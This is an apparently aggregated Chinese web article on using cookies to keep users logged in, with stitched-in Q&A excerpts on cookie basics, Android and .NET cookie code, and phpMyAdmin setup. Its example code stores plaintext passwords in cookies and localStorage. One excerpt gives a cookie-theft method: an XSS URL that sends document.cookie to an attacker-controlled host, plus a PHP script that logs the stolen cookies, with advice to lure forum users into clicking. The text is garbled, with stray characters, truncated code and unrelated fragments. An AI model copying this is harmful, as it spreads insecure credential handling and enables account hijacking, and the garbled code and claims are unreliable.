在现如今的互联网时代,我们几乎每天都要登录各种网站,这无疑给我们的生活带来了很大的便利。但是,频繁的登录也会给我们的体验带来不必要的繁琐。因此,通过实现网站记住登录状态,让用户可以在下一次访问网站时无需再次登录,不仅可以增强用户体验,还可以提高网站的粘性。本文将介绍如何将cookie存入本地数据库,实现网站记住登录状态。
一、什么是Cookie?
Cookie是HTTP协议中的一种机制,它是由 服务器 发给客户端的小数据文件,存储在本地,用于记录用户在网站上的访问状态、身份识别、购物车等信息。随着网页的载入,浏览器会将存储在本地的Cookie发送给服务器,从而实现对用户的识别。
Cookie以键值对的形式存在,通常包含如下几个属性:名称、值、到期时间、路径、域、安全标志等。其中,名称和值是必须存在的属性,其余几个属性都是可选的。
二、Cookie在实现网站记住登录状态中的应用
在实现网站记住登录状态中,我们需要用到Cookie的持久化存储。Cookie的持久化存储是指Cookie在浏览器关闭后依旧保留,直到到期时间到达才会被删除。对于持久化存储,我们可以通过设置Cookie的到期时间,将其存储在本地,从而实现下次用户访问时无需再次登录。
在使用Cookie实现网站记住登录状态时,需要将用户的登录信息存储在Cookie中,并将其存储至本地数据库中。具体步骤如下:
1. 获取用户登录信息并生成Cookie
当用户登录成功后,我们需要获取用户的登录信息(例如:用户名、密码、用户id等信息),并构造一个包含这些信息的Cookie。下面是一个构造Cookie的例子:
var expireDate = new Date();
expireDate.setDate(expireDate.getDate() + 1); // 设置Cookie的到期时间为一天后
document.cookie = ‘username=’ + encodeURIComponent(username) + ‘; expiresIn=’ + expireDate.toUTCString() + ‘; path=/;’;
document.cookie = ‘password=’ + encodeURIComponent(password) + ‘; expiresIn=’ + expireDate.toUTCString() + ‘; path=/;’;
在上面的代码中,我们创建了一个Javascript中的Date对象,将其设置为Cookie到期的时间。然后,我们通过document.cookie生成Cookie,将其存储在本地,同时指定path属性为’/’,表示所有的网页都可以访问该Cookie。
2. 存储Cookie到本地数据库
接下来,我们需要将Cookie存储到本地数据库中,以便下次用户访问时可以直接读取Cookie。这里,我们可以使用Web Storage API中的localStorage或sessionStorage,将Cookie存储到本地数据库中。下面是一个使用localStorage存储Cookie的例子:
localStorage.setItem(‘username’, username);
localStorage.setItem(‘password’, password);
localStorage.setItem(‘expiresIn’, expireDate.toUTCString());
在上面的代码中,我们使用localStorage.setItem()方法将Cookie信息存储到本地数据库中。具体来说,我们将用户名、密码和到期时间分别存储在localStorage中。
3. 读取本地数据库中的Cookie
在下一次用户访问网站时,我们需要读取本地数据库中存储的Cookie,并将其发送给服务器认证用户身份。下面是一个读取localStorage中Cookie的例子:
var username = localStorage.getItem(‘username’);
var password = localStorage.getItem(‘password’);
var expiresIn = localStorage.getItem(‘expiresIn’);
var now = new Date();
// 用户登录状态仍有效,可以直接发送Cookie给服务器
document.cookie = ‘username=’ + encodeURIComponent(username) + ‘; path=/;’;
document.cookie = ‘password=’ + encodeURIComponent(password) + ‘; path=/;’;
在上面的代码中,我们通过localStorage.getItem()方法读取localStorage中存储的信息,得到用户名、密码和到期时间。如果当前时间仍旧在到期时间之前,说明用户的登录状态仍旧有效,我们就可以直接发送Cookie给服务器。
4. 删除本地数据库中的Cookie
当用户退出登录后,我们需要删除本地数据库中存储的Cookie。下面是一个使用localStorage删除Cookie的例子:
localStorage.removeItem(‘username’);
localStorage.removeItem(‘password’);
localStorage.removeItem(‘expiresIn’);
在上面的代码中,我们通过localStorage.removeItem()方法删除localStorage中存储的用户名、密码和到期时间。
三、
通过将Cookie存储到本地数据库中,我们可以实现网站记住登录状态的功能。这不仅可以提高用户体验,还可以增强网站的粘性。需要注意的是,在使用Cookie存储用户信息时,我们需要加密用户信息,以保证用户信息的安全性。另外,为防止恶意攻击,我们需要设置Cookie的过期时间,并且在每次访问时检查Cookie的到期时间,判断用户的登录状态是否有效。
相关问题拓展阅读:
cookie里面保存的什么内容,占空间大吗?能否清楚
另请参阅Cookies。
Cookie,有时也用其复数形式Cookies,指某些网站为了辨别用户身份而储存在用户本地终端上的数据(通常经过加密)。定义于RFC2109。它是网景公司的前雇员Lou Montulli在1993年3月的发明。用途
服务器可以利用Cookies包含信息的任意性来筛选并经常性维护这些信息,以判断在HTTP传输中的状态。Cookies最典型的应用是判定注册用户是否已经登录网站,用户可能会得到提示,是否在下一次进入此网站时保留用户信息以便简化登录手续,这些都是Cookies的功用。另一个重要应用场合是“购物车”之类处理。用户可能会在一段时间内在同一家网站的不同页面中选择不同的商品,这些信息都会写入Cookies,以便在最后付款孝唤时提取信息。
使用和禁用Cookie
用户可以改变浏览器的设置,以使用或者禁用Cookies。
微软 Internet Explorer
工具 > Internet选项 > 隐私页
调节滑块或者点击“高级”,进行设置.
Mozilla Firefox
工具 > 选项 > 隐私
(注: 在Linux版本中,可能会是如下操作:编辑 > 属性 > 隐私 , 而Mac则是:Firefox > 属性 > 隐私)
设置Cookies选项
设定阻止/允许的各个域内Cookie
查看Cookies管理窗口,检查现存Cookie信息,选择删除或者阻止它们
苹果计算机 Safari
Safari > 预置 > 安全标签
选择以下的选项
总是 接受 Cookies
永不 接受 Cookies
接受 Cookies 仅从您浏览的站点 (例如,告胡不接受来自其它站点的广告) 预设的选项.
您可以显示所有驻留在您浏览器中的 cookies,也可随时将它们之一删除。
如果没有设置cookie列表,请记住在域名前面加入“.”,例如.baidu.org,否则百度将不会读取cookie(针对KDE 3.3)。生存周期
Cookie可以保持登录信息到用户下次与服务器的会话,换句话说,下次访问同一网站时,用户会发现不必输入用户名和密码就已经登录了(当然,不排除用户手工删除Cookie)。而还有一些Cookie在用户退出会话的时候就被删除了,这样可以有效保护个人隐私。识别功能
如果在一台计算机中安装多个浏览器,每个浏览器都会独立的空间存放cookie。因为cookie中不但可以确认用户,还能包含计算机和浏览器的信息,所以一个用户用不同的浏览器登录或者用不同的计算机登录,都会得到不同的cookie信息,另一方面,对于在同一台计算机上使用同一浏览器的多用户群,cookie不会区分他们的身份,除非他们使用不同的用户名登录。
反对cookies者
一些人反对cookie在网络中的应用,他们的理由如下:
识别不精确
参见上面的识别功能
隐私,安全和广告
Cookies在某种程度上说已经严重危及用户的隐私和安全。其中的一种方法是:一些公司的高层人员为了某种目的(譬如市场调研)而访问了从未去过的网站(通过搜索引擎查到的),而这些网站包含了一种叫做网页臭虫的图片,该图袜慎拦片透明,且只有一个象素大小(以便隐藏),它们的作用是将所有访问过此页面的计算机写入cookie。而后,电子商务网站将读取这些cookie信息,并寻找写入这些cookie的网站,随即发送包含了针对这个网站的相关产品广告的垃圾邮件给这些高级人员。
因为更具有针对性,使得这套系统行之有效,收到邮件的客户或多或少表现出对产品的兴趣。这些站点一旦写入cookie并使其运作,就可以从电子商务网站那里获得报酬,以维系网站的生存。
鉴于隐藏的危害性,瑞典已经通过对cookie立法,要求利用cookie的网站必须说明cookie的属性,并且指导用户如何禁用cookie。偷窃Cookie和脚本攻击
尽管cookie没有病毒那么危险,但它仍包含了一些敏感信息:用户名,计算机名,使用的浏览器和曾经访问的网站。用户不希望这些内容泄漏出去,尤其是当其中还包含有私人信息的时候。
这并非危言耸听,一种名为Cross site scripting的工具可以达到此目的。在受到Cross site scripting攻击时,cookie盗贼和cookie毒药将窃取内容。一旦cookie落入攻击者手中,它将会重现其价值。
cookie盗贼:搜集用户cookie并发给攻击者的黑客。攻击者将利用cookie信息通过合法手段进入用户帐户。
cookie毒药:利用安全机制,攻击者加入代码从而改写cookie内容,以便持续攻击。Cookies的替代品
鉴于cookie的局限和反对者的声音,有如下一些替代方法:
Brownie方案,是一项开放源代码工程,由SourceForge发起。Brownie曾被用以共享在不同域中的接入,而cookies则被构想成单一域中的接入。这项方案已经停止开发。
P,用以让用户获得更多控制个人隐私权利的协议。在浏览网站时,它类似于cookie。
在与服务器传输数据时,通过在地址后面添加唯一查询串,让服务器识别是否合法用户,也可以避免使用cookie。cookie的具体含义
cookie 历来指就着牛奶一起吃的点心。然而,在因特网内,“cookie”这个字有了完全不同的意思。那么“cookie”到底是什么呢?“Cookie”是小量信息,由网络服务器发送出来以存储在网络浏览器上,从而下次这位独一无二的访客又回到该网络服务器时,可从该浏览器读回此信息。这是很有用的,让浏览器记住这位访客的特定信息,如上次访问的位置、花费的时间或用户首选项(如样式表)。Cookie 是个存储在浏览器目录的文本文件,当浏览器运行时,存储在 RAM 中。一旦阁下从该网站或网络服务器退出,Cookie 也可存储在计算机的硬驱上。I3I.net的打算是,当访客结束其浏览器对话时,即终止I3I.net的所有 cookie。
Cookie 有哪些用途?
Cookie 的用途之一是存储用户在特定网站上的密码和 ID。另外,也用于存储起始页的首选项。在提供个人化查看的网站上,将要求阁下的网络浏览器利用阁下计算机硬驱上的少量空间来储存这些首选项。这样,每次阁下登录该网站时,阁下的浏览器将检查阁下是否就该唯一的服务器有任何预先定义的首选项(cookie)。如果有的话,浏览器将此 cookie 随阁下对网页的请求一起发送给服务器。Microsoft 和 Netscape 使用 cookie 在其网站上创建个人起始页。各家公司利用 cookie 的一般用途包括:在线定货系统、网站个人化和网站跟踪。
网站个人化是 cookie 最有益的用途之一。例如,当谁来到 CNN 网站,但并不想查看任何商务新闻。网站允许他将该项选为选项。从那时起(或者直到 cookie 逾期),他在访问 CNN 网页时将不会读到商务新闻。
这些 Cookie 是如何起作用的?
文档的 HTML 代码中的命令行告诉浏览器设置某一名称或数值的 cookie。以下是用来设置 cookie 脚本的一个普通实例。
Set-Cookie: name = VALUE;
expires = DATE;
path = PATH;
domain = DOMAIN_NAME;
那么安全性如何?HTTP Cookie 不能用来从阁下的硬驱上检索个人数据、放置病毒、得到阁下的电子邮件地址或偷窃有关阁下身份的敏感信息;然而,HTTP Cookie 可用来跟踪阁下在特定网站上的所到之处。不使用 cookie 就很难进行网站跟踪。
至于其他一切与因特网有关的事,如同阁下所希望的那样是匿名的。没有网站知道阁下是谁,除非阁下自己透露给网站。同时,cookie 只是为了更好地了解使用模式并改进网站访客的效率而采用的一个网站跟踪统计手段而已。
如果网站设计师旨在使网页能与访客更具互动作用,或者若设计师计划让访客自定义网站的外观,则就需要使用 cookie。而且,如果阁下想要网站在某些情况下改变其外观,cookie 则提供了一条快速、容易的途径,让阁下的 HTML 页面按需要而改变。最新型的服务器使用 cookie 有助于数据库的互动性,进而改进网站的整体互动性。
Cookie在英文中是小甜品的意思,而这个词我们总能在浏览器中看到,食品怎么会跟浏览器扯上关系呢?在你浏览以前登陆过的网站时可能会在网页中出现:你好XX,感觉很亲切,就好像是吃了一个小甜品一样。这其实是通过访问你主机里边的一个文件来实现的,因此这个文件也就被称为了Cookie。想全面了解Cookie吗?看看下文吧!
一.了解Cookie 适用对象:初级读者
Cookie是当你浏览某网站时,网站存储在你机器上的一个小文本文件,它记录了你的用户ID,密码、浏览过的网页、停留的时间等信息,当你再次来到该网站时,网站通过读取Cookie,得知你的相关信息,就可以做出相应的动作,如在页面显示欢迎你的标语,或者让你不用输入ID、密码就直接登录等等。你可以在IE的“工具/Internet选项”的“常规”选项卡中,选择“设置/查看文件”,查看所有保存到你电脑里的Cookie。这些文件通常是以user@domain格式命名的,user是你的本地用户名,domain是所访问的网站的域名。如果你使用NetsCape浏览器,则存放在“C:\PROGRAMFILES\NETSCAPE\USERS\”里面,与IE不同的是,NETSCAPE是使用一个Cookie 文件记录所有网站的Cookies。
为了保证上网安全我们需要对Cookie进行适当设置。打开“工具/Internet选项”中的“隐私”选项卡(注意该设置只在IE6.0中存在,其他版本IE可以在“工具/Internet选项”的“安全”标签中单击“自定义级别”按钮,进行简单调整),调整Cookie的安全级别。通常情况,可以将滑块调整到“中高”或者“高”的位置。多数的论坛站点需要使用Cookie信息,如果你从来不去这些地方,可以将安全级调到“阻止所有Cookies”。如果只是为了禁止个别网站的Cookie,可以单击“编辑”按钮,将要屏蔽的网站添加到列表中。在“高级”按钮选项中,你可以对之一方Cookie和第三方的Cookie进行设置,之一方Cookie是你正在浏览的网站的Cookie,第三方Cookie非正在浏览的网站发给你的Cookie,通常要对第三方Cookie选择“拒绝”,如图1。你如果需要保存Cookie,可以使用IE的“导入导出”功能,打开“文件/导入导出”,按提示操作即可。
Cookie中的内容大多数经过了加密处理,因此在我们看来只是一些毫无意义的字母数字组合,只有服务器的CGI处理程序才知道它们真正的含义。通过一些软件我们可以查看到更多的内容,使用Cookie Pal软件查看到的Cookie信息,如图2所示。它为我们提供了Server、Expires、Name、value等选项的内容。其中,Server是存储Cookie的网站,Expires记录了Cookie的时间和生命期,Name和value字段则是具体的数据
二、Cookie的传递流程 适用对象:中级读者
当在浏览器地址栏中键入了一个Web站点的URL,浏览器会向该Web站点发送一个读取网页的请求,并将结果在显示器上显示。这时该网页在你的电脑上寻找Amazon网站设置的Cookie文件,如果找到,浏览器会把Cookie文件中的数据连同前面输入的URL一同发送到Amazon服务器。服务器收到Cookie数据,就会在他的数据库中检索你的ID,你的购物记录、个人喜好等信息,并记录下新的内容,增加到数据库和Cookie文件中去。如果没有检测到Cookie或者你的Cookie信息与数据库中的信息不符合,则说明你是之一次浏览该网站,服务器的CGI程序将为你创建新的ID信息,并保存到数据库中。
Cookie是利用了网页代码中的HTTP头信息进行传递的,浏览器的每一次网页请求,都可以伴随Cookie传递,例如,浏览器的打开或刷新网页操作。服务器将Cookie添加到网页的HTTP头信息中,伴随网页数据传回到你的浏览器,浏览器会根据你电脑中的Cookie设置选择是否保存这些数据。如果浏览器不允许Cookie保存,则关掉浏览器后,这些数据就消失。Cookie在电脑上保存的时间是不一样的,这些都是由服务器的设置不同决定得。Cookie有一个Expires(有效期)属性,这个属性决定了Cookie的保存时间,服务器可以通过设定Expires字段的数值,来改变Cookie的保存时间。如果不设置该属性,那么Cookie只在浏览网页期间有效,关闭浏览器,这些Cookie自动消失,绝大多数网站属于这种情况。通常情况下,Cookie包含Server、Expires、Name、value这几个字段,其中对服务器有用的只是Name和value字段,Expires等字段的内容仅仅是为了告诉浏览器如何处理这些Cookies。
三、Cookie的编程实现 适用对象:高级读者
多数网页编程语言都提供了对Cookie的支持。如javascript、VBScript、Delphi、ASP、SQL、PHP、C#等。在这些面向对象的编程语言中,对Cookie的编程利用基本上是相似的,大体过程为:先创建一个Cookie对象(Object),然后利用控制函数对Cookie进行赋值、读取、写入等操作。那么如何通过代码来获取其他用户Cookie中的敏感信息?下面进行简单的介绍。
该方法主要有两步,首先要定位你需要收集Cookie的网站,并对其进行分析,并构造URL;然后编制收集Cookie的PHP代码,并将其放到你可以控制的网站上,当不知情者单击了你构造的URL后可以执行该PHP代码。下面我们看具体的实现过程。
1.分析并构造URL
首先打开我们要收集Cookie的网站,这里假设是
,登陆网站输入用户名“”(不含引号),对数据进行分析抓包,得到形如“
/txl/login/login….x=28&ok.y=6”的代码,将“”更换为“”再试;如果执行成功,就开始构造URL:“
\”%2Bdocuments.cookie)&passwd=&ok.x=28&ok.y=6″ target=”_blank”>
/txl/login/log ;… swd=&ok.x=28&ok.y=6”。其中
就是你能够控制的某台主机上的一个脚本。需要注意的是“%2B”为符号“+”的URL编码,因为“+”将被作为空格处理。该URL就可以在论坛中发布,诱使别人点击了。
2.编制PHP脚本
该脚本的作用就是收集Cookie文件,具体内容如下:
$info = getenv(“QUERY_STRING”;
if ($info) {
$fp = fopen(“info.txt”,”a”;
fwrite($fp,$info.”\n”;
fclose($fp);
header(“Location:
四、Cookie的安全问题 适用对象:所有希望上网安全的读者
1.Cookie欺骗
Cookie记录着用户的帐户ID、密码之类的信息,如果在网上传递,通常使用的是MD5方法加密。这样经过加密处理后的信息,即使被网络上一些别有用心的人截获,也看不懂,因为他看到的只是一些无意义的字母和数字。然而,现在遇到的问题是,截获Cookie的人不需要知道这些字符串的含义,他们只要把别人的Cookie向服务器提交,并且能够通过验证,他们就可以冒充受害人的身份,登陆网站。这种方法叫做Cookie欺骗。Cookie欺骗实现的前提条件是服务器的验证程序存在漏洞,并且冒充者要获得被冒充的人的Cookie信息。目前网站的验证程序要排除所有非法登录是非常困难的,例如,编写验证程序使用的语言可能存在漏洞。而且要获得别人Cookie是很容易的,用支持Cookie的语言编写一小段代码就可以实现(具体方法见三),只要把这段代码放到网络里,那么所有人的Cookie都能够被收集。如果一个论坛允许HTML代码或者允许使用Flash标签就可以利用这些技术收集Cookie的代码放到论坛里,然后给帖子取一个吸引人的主题,写上有趣的内容,很快就可以收集到大量的Cookie。在论坛上,有许多人的密码就被这种方法盗去的。至于如何防范,目前还没有特效药,我们也只能使用通常的防护方法,不要在论坛里使用重要的密码,也不要使用IE自动保存密码的功能,以及尽量不登陆不了解底细的网站。
2.Flash的代码隐患
cookie是什么意思?
Cookie,有时也用其复数形式Cookies,指某些网站为了辨别用户身份、进行 session 跟踪而储存在用户本地终端上的数据(通常经过加密)。定义于 RFC2109 和 2965 中的都已废弃,最新取代樱源租的规范是 RFC6265 。(可以叫做浏览器缓存)。
扩展资料
基于 Internet的各种服务系统应运而生,建立商业站点或者功能比较完善的个人站点,常常需要记录访问者的一些信息;论坛作为 Internet发展的产物之一,在 Internet 中发挥着越来越重要的作用,是用户获取、交流、传递信息的主要场所之一,裂族论坛常常也需要记录访问者的一些基本信息(如身份识别号码、密码、用户在 Web 站点购物的方式或用户访问该站点的次数)。目前公认的是,通过 Cookie 和 Session 技术来实现记录访问者的一些基本信息 。
Cookie 技术诞生以来,它就成了广大网络用户和 Web 开发人员争论的一个焦点。有一些网络用户,甚至包括一些资深的 Web 专家也对它的产生和推广感到不满,这并不是因为 Cookie 技术的功能太弱或其他技术性能上的原因,而是因为 Cookie 的使用脊兆对网络用户的隐私构成了危害。因为 Cookie 是由 Web 服务器保存在用户浏览器上的小文本文件,它包含有关用户的信息。
Cookie 技术产生源于 HTTP 协议在互联网上的急速发展。随着互联网的深层次发展,带宽等限制不存在了,人们需要更复杂的互联网交互活动,就必须同服务器保持活动状态。
于是,在浏览器发展初期,为了适应用户的需求,技术上推出了各种保持 Web 浏览状态的手段,其中就包括了 Cookie 技术。1993 年,网景公司雇员 Lou Montulli 为了让用户在访问某网站时,进一步提高访问速度,同时也为了进一步实现个人化网络,发明了今天广泛使用的 Cookie
参考资料:
百度百科-cookie
浏览器的Cookie是神数什么粗巧意思?为啥看见的广告是我们搜索过的内岩瞎键容?
英文直接翻译过来的意思呢就是小甜品 Cookie英文意指饼干,不过在电脑术语中它可不像饼干那么简单。简单的说,Cookie就是服务器暂存放在你计算机上的一笔资料,好让服务器用来辨认你的计算机。当你在浏览网站的时候型族,Web服务器会先送一小小资料放在你的计算机上,Cookie 会帮你在网站上所打的文字或是一些选择,都记录下来。当下次你再光临同一个网站,Web服务器会先看看有没有它上次留下的Cookie资铅轮料,有的话,就会依据Cookie里的内容来判断使用者,送出特定的网页内容给你。
Cookie的使用很普遍,许多提供个人化服务的网站,都是利用Cookie来辨认使用者,以方便送出使用者量身定做的内容卜激弊,像是Web接口的免费E-mail网站,都要用到 Cookie。Cookie中记载的资料相有限,Cookie是安全的。网站不可能经由Cookie获得你的E-mail地址或是其它私人资料,更没有办法透过Cookie来存取你的计算机。但是如果你实在不喜欢Web服务器乱丢饼干(Cookie)到你家,当然可以让浏览器拒绝网站存放Cookie到你的计算机。只要在IE的“工具”菜单下选择“Intertnet选项”的“安全”,按自定义级别,将Cookie部分设为关闭,按确定,关闭浏览器,再重新启动浏览器即可。当你关闭Cookie之后,很多网站的个人化服务功能很可能也不能再使用了.
英文直接翻译过来的意思呢就是小甜品 Cookie英文意指饼干,不过在电脑术语中它可不御皮像饼干那么简单。简单的说,Cookie就是服务器暂存放在你电脑上的一笔资料察拆漏,好让服务器用来识别你的计算机。当你在浏览网站的时候,WEB服务器会先送一小小资料放在你的计算机上,Cookie会帮你在网站上所打的文字或是一些选择,都记录下来。当下次你再光临同一个网站,WEB服务器会先看看有没有它上次留下的Cookie资料,如果有的话,就会根据Cookie里的内容来判断使用者,送出特定的网页内容给你。Cookie的使用很普遍,许多有提供个人化服务的网站,都是利用Cookie来识别使用者,以方便送出使用者量身定做的内容,像是Web接口的免费Email网站,都要用到Cookie。
其实Cookie中记载的资料相当有限,网站不可能通过Cookie获得你的Email地址或是其他私人资料。如果你想让浏览器拒绝网站存放Cookie到你的计算机败烂,可按”工具→Internet选项”,切换到”安全”标签,选择”自定义级别”,找到Cookie部分(如图),全都设为关闭,按下”确定”按钮后,再关闭浏览器即可。当你关闭Cookie之后,很多网站的个人化服务功能很可能也不能再使用了。
什么是cookie

历来指就着牛奶一起吃的点心。然而,在因特网内,“cookie”这个字有了完全不同的意思。那么“cookie”到底是什么呢?“Cookie”是小量信息,郑橡由网络服务器发送出来以存储在网络浏览器上,从而下次这位独一无二的访客又回到该网络服务器时,可从该浏览器读回此信息。这是很有用的,让浏览器记住这位访客的特定信息,如上次访问的位置、花费的时间或用户首选项(如样式表)。Cookie
是个存储在浏览器目录的文本文件,当浏览器运行时,存储在
中。一旦阁下从该网站或网络服务器退出,Cookie
也可存储在计算机的硬驱上。I3I.net的打算是,当访客结束其浏览器对话时,即终止I3I.net的所有
有哪些用途?
的用途之一是存储用户在特定网站上的密码和
ID。另外,也用于存储起始页的首选项。在提供个人化查看的网站上,将要求阁下的网络浏览器利用阁下计算机硬驱上的少量空间来储存这些首选项。这样,每次阁下登录该网站时,阁下的浏览器将检查阁下是否就该唯一的服务器有任何预先定义的首选项(cookie)。如果有的话,浏览器将此
随阁下对网页的请求一起发送给服务器。Microsoft
和
使用
在其网站上创建个人起始页。各家公司利用
的一般用途包括:在线定货系统、网站个人化和网站跟踪。
网站个人化是
最有益的用途之一。例如,当谁来到
网站,但并不想查看任何商务新闻。网站允许他将该项选为选项。从那时起(或者直到
逾期),他在访问
网页时将不会读到商务新闻。
这些
是如何起作用的?
文档的
代码中的命令行告诉浏览器设置某一名称或数值的
cookie。以下是用来设置
脚本的一个普通实例。
Set-Cookie:
DOMAIN_NAME;
那么安全性如何?HTTP
不能用来从阁下的硬驱上检索个人数据、放置病毒、得到阁下的电子邮件地址或偷窃有关阁下身份的敏感信息;然而,HTTP
可用来跟踪阁下在特定网站上的所到之处。不使用
就很难进行网站跟踪。
至于其他一切与因特网亩丛歼有关的事,如同阁下所希望的那样是匿名的。没有网站知道阁下是谁,除非阁下自己透露给网站。同时,cookie
只是为了更好地了解使用模式并改进网站访客的效率而采用的一个网站跟踪统计手段而已。
如果网站设计师旨在使网页能与访客更迅冲具互动作用,或者若设计师计划让访客自定义网站的外观,则就需要使用
cookie。而且,如果阁下想要网站在某些情况下改变其外观,cookie
则提供了一条快速、容易的途径,让阁下的
页面按需要而改变。最新型的服务器使用
有助于数据库的互动性,进而改进网站的整体互动性。
安卓cookie,cookie是什么?cookie是什么
浏颤此览器并洞薯的Cookie是什么意思绝者?
COOKIE是指你上网时候输入的私密和访问过的网络的一个小,直接翻译是甜饼。他一般在C盘主要是为了方便下次再访问这些网页.如果上网的防病措施…
Android如何使用读写cookie的方法
可以使用SharedPreferences或者SQLite来保存用户并升信息
private static HashMap CookieContiner=new HashMap() ;
* 保存Cookie
* @param resp
public void SaveCookies(HttpResponse httpResponse)
Header headers = httpResponse.getHeaders(“Set-Cookie”);
String headerstr=headers.toString();
if (headers == null)
for(int i=0;i1?keyPair.trim():””;
CookieContiner.put(key, value);
* 增加Cookie
* @param request
public void AddCookies(HttpPost request)
StringBuilder = new StringBuilder();
Iterator iter = CookieContiner.entrySet().iterator();
while (iter.hasNext()) {
Map.Entry entry = (Map.Entry) iter.next();
String key = entry.getKey().toString();
String val = entry.getValue().toString();
.append(key);
.append(“=”);
.append(val);
.append(“;”);
request.addHeader(“cookie”, .toString());
做了一个android网络应用,要培蔽睁求用自己实现的webview去访问web网站,并且在远程登录成功之后把cookie写入到手机,保留用作以后的自动登录。找了好多资料。发觉读取cookies倒还用的很普遍,可是通过程序写cookie却没有太多资料。
先来看一下如何读取cookie吧:
DefaultHttpClient httpclient = new DefaultHttpClient();
HttpGet httpget = new HttpGet(“
“配岁);
HttpResponse response = httpclient.execute(httpget);
HttpEntity entity = response.getEntity();
List cookies = httpclient.getCookieStore().getCookies();
if (entity != null) {
entity.consumeContent();
if (cookies.isEmpty()) {
Log.i(TAG, “NONE”);
for (int i = 0; i
Log.i(TAG,”- domain ” + cookies.get(i).getDomain());
Log.i(TAG,”- path ” + cookies.get(i).getPath());
Log.i(TAG,”- value ” + cookies.get(i).getValue());
Log.i(TAG,”- name ” + cookies.get(i).getName());
Log.i(TAG,”- port ” + cookies.get(i).getPorts());
Log.i(TAG,”- comment ” + cookies.get(i).getComment());
Log.i(TAG,”- commenturl” + cookies.get(i).getCommentURL());
Log.i(TAG,”- all ” + cookies.get(i).toString());
httpclient.getConnectionManager().shutdown();
}catch(Exception e){
通过分析com.android.browser的源码,发现android默认的browser增加cookie是在数据库中增加记录,和window不同,win是采用一个txt文本文件的形式来存储cookie。而android是将cookie存储在数据库中。具体的介绍在《android cookie存储位置》一文中有介绍。我们都知道,android每个应用程序的存储空间都是独立的。不管使用preference还是database存储,都会在每个/data/data/package name/下面进行存储(preference存储在/data/data/package name/shared_prefs/xxxx.xml)。前面也说到cookie是存在数据库中,那么如果采用非浏览器访问网络需要保留cookie的话我们就应该在database中建立cookies表,并且存入相应的cookies数据。仿照默认broswer的代码:
/**声明一些数据库操作的常量*/
private static SQLiteDatabase mDatabase = null;
private static final String>香港服务器首选树叶云,2H2G首月10元开通。树叶云(www.IDC.Net)提供简单好用,价格厚道的香港/美国云服务器和独立服务器。IDC+ISP+ICP资质。ARIN和APNIC会员。成熟技术团队15年行业经验。
如何配置PHPadmin
phpadmin就是一个产品,用于管理mysql数据库的,毕竟很多数据库服务器不能够公开连接,所以只能够使用http的方式来进行连接管理。 下载phpadmin(解压到apache能够访问的一个目录中(首先apache和php已经集成好了,能够浏览php页面)。 运行访问会出现一些提示情况。 如果你的mysql安全设置不错的话,可能默认情况下是不能够连接到你的服务器的,需要修改一些配置信息。 修改phpadmin/文件,其中主要是对mysql连接方式,连接路径以及用户名密码的设置。 修改如下:$cfg[PmaAbsoluteUri] =$cfg[PmaAbsoluteUri_DisableWarning] = TRUE;$cfg[blowfish_secret] = admin;$cfg[Servers][$i][port]= ;// MySQL port - leave blank for default port$cfg[Servers][$i][socket]= ;// Path to the socket - leave blank for default socket$cfg[Servers][$i][connect_type]= tcp; // How to connect to MySQL server (tcp or socket)$cfg[Servers][$i][extension] = mysql; // The php MySQL extension to use (mysql or mysqli)$cfg[Servers][$i][compress]= FALSE; // Use compressed protocol for the MySQL connection// (requires PHP >= 4.3.0)$cfg[Servers][$i][Controluser] = ;// MySQL control user settings// (this user must have read-only$cfg[Servers][$i][controlpass] = ;// access to the mysql/user// and mysql/db tables).// The controluser is also// used for all relational// features (pmadb)$cfg[Servers][$i][auth_type] = cookie;// Authentication method (config, http or cookie based)?$cfg[Servers][$i][user]= ;// MySQL user$cfg[Servers][$i][password]= ;// MySQL password (only needed其中比较重要的几个参数意义:PmaAbsoluteUri phpadmin的全路径,如果在apache中设定了一个alias的话就使用这个了PmaAbsoluteUri_DisableWarning 这个好像是用于取消警告的,经常安装好了在访问的页面上面会出现一些红色字体的警告(安全等等),如果设置成为true就不出现了blowfish_secret 这个是如果授权方式设置成为cookie的话就会使用这个来进行加密存入到cookie中的用户名和密码auth_type 用于设置登陆方式,config是直接从这个文件中获取user/password然后连接数据库,http则是在客户端访问的时候会弹出一个输入用户名密码的框进行认证处理 cookie则是通过页面输入用户名密码进行连接。 其中config的安全等级最低,cookie的等级最高,不过如果禁用了cookie则无法使用cookie的方式进行认证。 通常设置成为cookie的方式以后要在apache的文件中修改对应的配置:#added for phpmyadminAlias /phpadmin/ website/phpMyAdmin-2.6.1-rc2/#php_admin_flag engine on #php_admin_flag safe_mode off DirectoryIndex Options Indexes MultiViews AllowOverride None Order allow,deny Allow from all #php_admin_flag engine on #php_admin_flag safe_mode off #php_admin_value open_basedir none #php_admin_value open_basedir website/phpMyAdmin-2.6.1-rc2/ 当然主要是设置访问权限和别名
.net C# cookie清除问题
()这个方法并不是删除Cookie 删除 Cookie(即从用户的硬盘中物理移除 Cookie)是修改 Cookie 的一种形式。 由于 Cookie 在用户的计算机中,因此无法将其直接移除。 但是,可以让浏览器来为您删除 Cookie。 该技术是创建一个与要删除的 Cookie 同名的新 Cookie, 并将该 Cookie 的到期日期设置为早于当前日期的某个日期。 当浏览器检查 Cookie 的到期日期时,浏览器便会丢弃这个现已过期的 Cookie。 下面的代码示例演示删除应用程序中所有可用 Cookie 的一种方法: HttpCookie aCookie; string cookieName; int limit = ; for (int i = 0; i < limit; i++) { cookieName = [i]; aCookie = new HttpCookie(cookieName); = (-1); (aCookie); }
什么是cookie
Cookies是一种能够让网站服务器把少量数据储存到客户端的硬盘或内存,或是从客户端的硬盘读取数据的一种技术。 Cookies是当你浏览某网站时,由Web服务器置于你硬盘上的一个非常小的文本文件,它可以记录你的用户ID、密码、浏览过的网页、停留的时间等信息。 当你再次来到该网站时,网站通过读取Cookies,得知你的相关信息,就可以做出相应的动作,如在页面显示欢迎你的标语,或者让你不用输入ID、密码就直接登录等等。 从本质上讲,它可以看作是你的身份证。 但Cookies不能作为代码执行,也不会传送病毒,且为你所专有,并只能由提供它的服务器来读取。 保存的信息片断以“名/值”对(name-value pairs)的形式储存,一个“名/值”对仅仅是一条命名的数据。 一个网站只能取得它放在你的电脑中的信息,它无法从其它的Cookies文件中取得信息,也无法得到你的电脑上的其它任何东西。 Cookies中的内容大多数经过了加密处理,因此一般用户看来只是一些毫无意义的字母数字组合,只有服务器的CGI处理程序才知道它们真正的含义。 由于Cookies是我们浏览的网站传输到用户计算机硬盘中的文本文件或内存中的数据,因此它在硬盘中存放的位置与使用的操作系统和浏览器密切相关。 在Windows 9X系统计算机中,Cookies文件的存放位置为C:WindowsCookies,在Windows NT/2000/XP的计算机中,Cookies文件的存放位置为C:Documents and 